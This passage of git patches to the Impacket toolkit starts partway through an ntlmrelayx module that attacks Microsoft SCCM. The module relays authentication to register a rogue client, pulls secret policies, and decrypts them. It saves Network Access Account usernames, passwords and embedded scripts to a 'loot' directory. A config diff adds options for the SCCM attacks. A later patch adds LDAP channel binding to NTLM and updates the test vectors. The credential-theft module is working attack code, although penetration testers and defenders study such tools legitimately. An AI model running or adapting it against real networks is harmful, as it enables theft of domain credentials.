'{result['NAA_credentials']['NetworkAccessUsername']}:{result['NAA_credentials']['NetworkAccessPassword']}'") + except Exception as e: + LOG.info(f"Encountered an error when trying to process secret policy {key} - {e}") + + LOG.info(f"DONE - attack finished. Check loot directory {loot_dir}") + LOG.info("You can reuse the registered device from the generated GUID/private key in the device/ subdirectory - for instance with SCCMSecrets.py. This is only possible for a limited time, before the legitimate device re-registers itself.") + + + + + def register_client(self, management_point, registration_request_payload): + headers = { + "Connection": "close", + "User-Agent": "ConfigMgr Messaging HTTP Sender", + "Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\"" + } + + self.client.request("CCM_POST", f"{management_point}/ccm_system_windowsauth/request", registration_request_payload, headers=headers) + body = self.client.getresponse().read() + + + boundary = "aAbBcCdDv1234567890VxXyYzZ" + multipart_data = body.split(('--' + boundary).encode()) + for part in multipart_data: + if not part or part == b'--\r\n': + continue + try: + headers_part, content = part.split(b'\r\n\r\n', 1) + except: + pass + + if b'application/octet-stream' in headers_part: + decompressed_content = zlib.decompress(content).decode('utf-16') + return decompressed_content + return None + + def request_policies(self, management_point, policies_request_payload): + headers = { + "Connection": "close", + "User-Agent": "ConfigMgr Messaging HTTP Sender", + "Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\"" + } + + self.client.request("CCM_POST", f"{management_point}/ccm_system/request", policies_request_payload, headers=headers) + body = self.client.getresponse().read() + + boundary = "aAbBcCdDv1234567890VxXyYzZ" + multipart_data = body.split(('--' + boundary).encode()) + for part in multipart_data: + if not part or part == b'--\r\n': + continue + try: + headers_part, content = part.split(b'\r\n\r\n', 1) + except: + pass + + if b'application/octet-stream' in headers_part: + decompressed_content = zlib.decompress(content).decode('utf-16') + return decompressed_content + return None + + def request_policy(self, policy_url, client_guid, private_key): + headers = { + "Connection": "close", + "User-Agent": "ConfigMgr Messaging HTTP Sender" + } + + headers["ClientToken"] = f"GUID:{client_guid};{datetime.now().strftime('%Y-%m-%dT%H:%M:%SZ')};2" + headers["ClientTokenSignature"] = SCCM_sign(private_key, f"GUID:{client_guid};{datetime.now().strftime('%Y-%m-%dT%H:%M:%SZ')};2".encode('utf-16')[2:] + "\x00\x00".encode('ascii')).hex().upper() + + self.client.request("GET", policy_url, headers=headers) + r = self.client.getresponse().read() + return r + + + def secret_policy_process(self, policyID, policy, private_key, client_guid, loot_dir): + LOG.info(f"Processing secret policy {policyID}") + os.makedirs(f'{loot_dir}/{policyID}') + + NAA_credentials = {"NetworkAccessUsername": None, "NetworkAccessPassword": None} + policy_response = self.request_policy(policy["PolicyLocation"], client_guid, private_key) + decrypted = decrypt_secret_policy(policy_response, private_key)[:-1] + decrypted = clean_junk_in_XML(decrypted) + + if policy["PolicyCategory"] == "CollectionSettings": + LOG.debug("Processing a CollectionSettings policy to extract collection variables") + root = ET.fromstring(decrypted) + binary_data = binascii.unhexlify(root.text) + decompressed_data = zlib.decompress(binary_data) + decrypted = decompressed_data.decode('utf16') + + with open(f'{loot_dir}/{policyID}/policy.txt', 'w') as f: + f.write(decrypted) + + + root = ET.fromstring(decrypted) + + blobs_set = {} + + if policy["PolicyCategory"] == "CollectionSettings": + for instance in root.findall(".//instance"): + name = None + value = None + for prop in instance.findall('property'): + prop_name = prop.get('name') + if prop_name == 'Name': + name = prop.find('value').text.strip() + elif prop_name == 'Value': + value = prop.find('value').text.strip() + blobs_set[name] = value + + else: + obfuscated_blobs = root.findall('.//*[@secret="1"]') + for obfuscated_blob in obfuscated_blobs: + blobs_set[obfuscated_blob.attrib["name"]] = obfuscated_blob[0].text + + LOG.debug(f"Found {len(blobs_set.keys())} obfuscated blob(s) in secret policy.") + for i, blob_name in enumerate(blobs_set.keys()): + data = deobfuscate_secret_policy_blob(blobs_set[blob_name]) + filename = f'{loot_dir}/{policyID}/secretBlob_{str(i+1)}-{blob_name}.txt' + with open(filename, 'w') as f: + f.write(f"Secret property name: {blob_name}\n\n") + f.write(data + "\n") + if blob_name == "NetworkAccessUsername": + NAA_credentials["NetworkAccessUsername"] = data + if blob_name == "NetworkAccessPassword": + NAA_credentials["NetworkAccessPassword"] = data + + LOG.debug(f"Deobfuscated blob n°{i+1}") + try: + blobroot = ET.fromstring(clean_junk_in_XML(data)) + source_scripts = blobroot.findall('.//*[@property="SourceScript"]') + if len(source_scripts) > 0: + LOG.debug(f"Found {len(source_scripts)} embedded powershell scripts in blob.") + for j, script in enumerate(source_scripts): + decoded_script = base64.b64decode(script.text).decode('utf-16le') + with open(f'{loot_dir}/{policyID}/secretBlob_{str(i+1)}-{blob_name}_embeddedScript_{j+1}.txt', 'w') as f: + f.write(decoded_script) + f.write("\n") + + except ET.ParseError as e: + LOG.debug("Failed parsing XML on this blob - not XML content") + pass + + if NAA_credentials["NetworkAccessUsername"] is not None: + return {"NAA_credentials": NAA_credentials} + else: + return {"NAA_credentials": None} + diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 20ef1c659..176ac9de7 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -103,6 +103,14 @@ def __init__(self): self.ShadowCredentialsExportType = None self.ShadowCredentialsOutfilePath = None + # SCCM attacks options + self.isSCCMPoliciesAttack = False + self.SCCMPoliciesClientname = None + self.SCCMPoliciesSleep = None + self.isSCCMDPAttack = False + self.SCCMDPExtensions = None + self.SCCMDPFiles = None + def setSMBChallenge(self, value): self.SMBServerChallenge = value @@ -243,6 +251,20 @@ def setShadowCredentialsOptions(self, ShadowCredentialsTarget, ShadowCredentials self.ShadowCredentialsPFXPassword = ShadowCredentialsPFXPassword self.ShadowCredentialsExportType = ShadowCredentialsExportType self.ShadowCredentialsOutfilePath = ShadowCredentialsOutfilePath + + def setIsSCCMPoliciesAttack(self, isSCCMPoliciesAttack): + self.isSCCMPoliciesAttack = isSCCMPoliciesAttack + + def setSCCMPoliciesOptions(self, sccm_policies_clientname, sccm_policies_sleep): + self.SCCMPoliciesClientname = sccm_policies_clientname + self.SCCMPoliciesSleep = sccm_policies_sleep + + def setIsSCCMDPAttack(self, isSCCMDPAttack): + self.isSCCMDPAttack = isSCCMDPAttack + + def setSCCMDPOptions(self, sccm_dp_extensions, sccm_dp_files): + self.SCCMDPExtensions = sccm_dp_extensions + self.SCCMDPFiles = sccm_dp_files def setAltName(self, altName): self.altName = altName From ea27e8b2dfedf57370d2f65c5053a2b8eeb8ca9d Mon Sep 17 00:00:00 2001 From: Alex <61382599+NeffIsBack@users.noreply.github.com> Date: Mon, 25 Nov 2024 20:29:52 +0100 Subject: [PATCH 3/3] LDAP Channel binding implementation from #1697 (#1844) * Implemented LDAP channel binding as cleanly as I could, based on https://github.com/ly4k/ldap3. * Set channel binding to bytes value as requested in the review * Fix test sessionBaseKey * Fix test ntResponse * Fix test encryptedSessionKey * Fix test ntlmChallengeResponse * Fix test ntlmChallengeResponse * Removing leftover print statement * Remove unnecessary AV_EOL, this is done by impackets struct anyway --------- Co-authored-by: frank --- impacket/ldap/ldap.py | 25 ++++++++++++++++++++++++- impacket/ntlm.py | 27 +++++++++++++++++++-------- tests/SMB_RPC/test_ntlm.py | 8 ++++---- 3 files changed, 47 insertions(+), 13 deletions(-) diff --git a/impacket/ldap/ldap.py b/impacket/ldap/ldap.py index 73b638066..9a6f0dae7 100644 --- a/impacket/ldap/ldap.py +++ b/impacket/ldap/ldap.py @@ -310,8 +310,31 @@ def login(self, user='', password='', domain='', lmhash='', nthash='', authentic # NTLM Challenge type2 = response['bindResponse']['matchedDN'] + # If TLS is used, setup channel binding + channel_binding_value = b'' + if self._SSL: + # From: https://github.com/ly4k/ldap3/commit/87f5760e5a68c2f91eac8ba375f4ea3928e2b9e0#diff-c782b790cfa0a948362bf47d72df8ddd6daac12e5757afd9d371d89385b27ef6R1383 + from hashlib import md5 + # Ugly but effective, to get the digest of the X509 DER in bytes + peer_cert_digest_str = self._socket.get_peer_certificate().digest('sha256').decode() + peer_cert_digest_bytes = bytes.fromhex(peer_cert_digest_str.replace(':', '')) + + channel_binding_struct = b'' + initiator_address = b'\x00'*8 + acceptor_address = b'\x00'*8 + + # https://datatracker.ietf.org/doc/html/rfc5929#section-4 + application_data_raw = b'tls-server-end-point:' + peer_cert_digest_bytes + len_application_data = len(application_data_raw).to_bytes(4, byteorder='little', signed = False) + application_data = len_application_data + application_data += application_data_raw + channel_binding_struct += initiator_address + channel_binding_struct += acceptor_address + channel_binding_struct += application_data + channel_binding_value = md5(channel_binding_struct).digest() + # NTLM Auth - type3, exportedSessionKey = getNTLMSSPType3(negotiate, bytes(type2), user, password, domain, lmhash, nthash) + type3, exportedSessionKey = getNTLMSSPType3(negotiate, bytes(type2), user, password, domain, lmhash, nthash, channel_binding_value=channel_binding_value) bindRequest['authentication']['sicilyResponse'] = type3.getData() response = self.sendReceive(bindRequest)[0]['protocolOp'] elif authenticationChoice == 'sasl': diff --git a/impacket/ntlm.py b/impacket/ntlm.py index 94f2e458b..040bc8f71 100644 --- a/impacket/ntlm.py +++ b/impacket/ntlm.py @@ -40,10 +40,10 @@ DEFAULT_LM_HASH = binascii.unhexlify('AAD3B435B51404EEAAD3B435B51404EE') def computeResponse(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='', nthash='', - use_ntlmv2=USE_NTLMv2): + use_ntlmv2=USE_NTLMv2, channel_binding_value=b''): if use_ntlmv2: return computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, - lmhash, nthash, use_ntlmv2=use_ntlmv2) + lmhash, nthash, use_ntlmv2=use_ntlmv2, channel_binding_value=channel_binding_value) else: return computeResponseNTLMv1(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash, nthash, use_ntlmv2=use_ntlmv2) @@ -597,7 +597,7 @@ def getNTLMSSPType1(workstation='', domain='', signingRequired = False, use_ntlm return auth -def getNTLMSSPType3(type1, type2, user, password, domain, lmhash = '', nthash = '', use_ntlmv2 = USE_NTLMv2): +def getNTLMSSPType3(type1, type2, user, password, domain, lmhash = '', nthash = '', use_ntlmv2 = USE_NTLMv2, channel_binding_value = b''): # Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best. if password is None: @@ -636,7 +636,7 @@ def getNTLMSSPType3(type1, type2, user, password, domain, lmhash = '', nthash = ntResponse, lmResponse, sessionBaseKey = computeResponse(ntlmChallenge['flags'], ntlmChallenge['challenge'], clientChallenge, serverName, domain, user, password, - lmhash, nthash, use_ntlmv2) + lmhash, nthash, use_ntlmv2, channel_binding_value = channel_binding_value) # Let's check the return flags if (ntlmChallenge['flags'] & NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0: @@ -909,7 +909,7 @@ def LMOWFv2( user, password, domain, lmhash = ''): def computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, domain, user, password, lmhash='', - nthash='', use_ntlmv2=USE_NTLMv2): + nthash='', use_ntlmv2=USE_NTLMv2, channel_binding_value=b''): responseServerVersion = b'\x01' hiResponseServerVersion = b'\x01' @@ -930,9 +930,20 @@ def computeResponseNTLMv2(flags, serverChallenge, clientChallenge, serverName, d serverName = av_pairs.getData() else: aTime = b'\x00'*8 - - temp = responseServerVersion + hiResponseServerVersion + b'\x00' * 6 + aTime + clientChallenge + b'\x00' * 4 + \ - serverName + b'\x00' * 4 + + if len(channel_binding_value) > 0: + av_pairs[NTLMSSP_AV_CHANNEL_BINDINGS] = channel_binding_value + + # Format according to: + # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/aee311d6-21a7-4470-92a5-c4ecb022a87b + temp = responseServerVersion # RespType 1 byte + temp += hiResponseServerVersion # HiRespType 1 byte + temp += b'\x00' * 2 # Reserved1 2 bytes + temp += b'\x00' * 4 # Reserved2 4 bytes + temp += aTime # TimeStamp 8 bytes + temp += clientChallenge # ChallengeFromClient 8 bytes + temp += b'\x00' * 4 # Reserved 4 bytes + temp += av_pairs.getData() # AvPairs variable ntProofStr = hmac_md5(responseKeyNT, serverChallenge + temp) diff --git a/tests/SMB_RPC/test_ntlm.py b/tests/SMB_RPC/test_ntlm.py index baaffac8a..e1ee6400a 100644 --- a/tests/SMB_RPC/test_ntlm.py +++ b/tests/SMB_RPC/test_ntlm.py @@ -238,7 +238,7 @@ def test_ntlmv2(self): ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponseNTLMv2(flags, self.serverChallenge, self.clientChallenge, serverName, self.domain, self.user, self.password, '', '' ) hexdump(sessionBaseKey) - self.assertEqual(sessionBaseKey, bytearray(b'\x8d\xe4\x0c\xca\xdb\xc1\x4a\x82\xf1\x5c\xb0\xad\x0d\xe9\x5c\xa3')) + self.assertEqual(sessionBaseKey, bytearray(b'\xe0\x02\x92\x35\xf1\x18\x08\xe6\x12\xea\xa1\xac\xe6\x13\x78\x5f')) print("\n") print("4.2.4.2.1 LMv2 Response") @@ -247,13 +247,13 @@ def test_ntlmv2(self): print("\n") print("4.2.4.2.2 NTLMv2 Response") hexdump(ntResponse[:16]) - self.assertEqual(ntResponse[:16], bytearray(b'\x68\xcd\x0a\xb8\x51\xe5\x1c\x96\xaa\xbc\x92\x7b\xeb\xef\x6a\x1c')) + self.assertEqual(ntResponse[:16], bytearray(b'\xb2\x32\x05\x0b\x98\xe5\xf4\xe3\x36\xbd\x18\x79\x21\xa2\x7b\xb2')) print("\n") print("4.2.4.2.3 Encrypted Session Key") keyExchangeKey = ntlm.KXKEY(flags, sessionBaseKey, lmResponse, self.serverChallenge, self.password,'','') encryptedSessionKey = ntlm.generateEncryptedSessionKey(keyExchangeKey,self.randomSessionKey) hexdump(encryptedSessionKey) - self.assertEqual(encryptedSessionKey, bytearray(b'\xC5\xDA\xD2\x54\x4F\xC9\x79\x90\x94\xCE\x1C\xE9\x0B\xC9\xD0\x3E')) + self.assertEqual(encryptedSessionKey, bytearray(b'\x18\x6c\xaf\xee\x66\x20\x16\x9d\xd9\x8c\x4d\x1a\x22\x56\x71\x4c')) print("\n") print("AUTHENTICATE MESSAGE") @@ -266,7 +266,7 @@ def test_ntlmv2(self): ntlmChallengeResponse['ntlm'] = ntResponse ntlmChallengeResponse['session_key'] = encryptedSessionKey hexdump(ntlmChallengeResponse.getData()) - self.assertEqual(ntlmChallengeResponse.getData(), bytearray(b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00|\x00\x00\x00T\x00T\x00\x94\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x08\x00\x08\x00d\x00\x00\x00\x10\x00\x10\x00l\x00\x00\x00\x10\x00\x10\x00\xe8\x00\x00\x003\x82\x8a\xe2D\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\x86\xc3P\x97\xac\x9c\xec\x10%TvJW\xcc\xcc\x19\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaah\xcd\n\xb8Q\xe5\x1c\x96\xaa\xbc\x92{\xeb\xefj\x1c\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x02\x00\x0c\x00D\x00o\x00m\x00a\x00i\x00n\x00\x01\x00\x0c\x00S\x00e\x00r\x00v\x00e\x00r\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc5\xda\xd2TO\xc9y\x90\x94\xce\x1c\xe9\x0b\xc9\xd0>')) + self.assertEqual(ntlmChallengeResponse.getData(), bytearray(b'NTLMSSP\x00\x03\x00\x00\x00\x18\x00\x18\x00|\x00\x00\x00P\x00P\x00\x94\x00\x00\x00\x0c\x00\x0c\x00X\x00\x00\x00\x08\x00\x08\x00d\x00\x00\x00\x10\x00\x10\x00l\x00\x00\x00\x10\x00\x10\x00\xe4\x00\x00\x003\x82\x8a\xe2D\x00o\x00m\x00a\x00i\x00n\x00U\x00s\x00e\x00r\x00C\x00O\x00M\x00P\x00U\x00T\x00E\x00R\x00\x86\xc3P\x97\xac\x9c\xec\x10%TvJW\xcc\xcc\x19\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xb22\x05\x0b\x98\xe5\xf4\xe36\xbd\x18y!\xa2{\xb2\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x00\x00\x00\x00\x02\x00\x0c\x00D\x00o\x00m\x00a\x00i\x00n\x00\x01\x00\x0c\x00S\x00e\x00r\x00v\x00e\x00r\x00\x00\x00\x00\x00\x18l\xaf\xeef \x16\x9d\xd9\x8cM\x1a"VqL')) print("\n") print("4.2.4.4 GSS_WrapEx") print("Plaintext")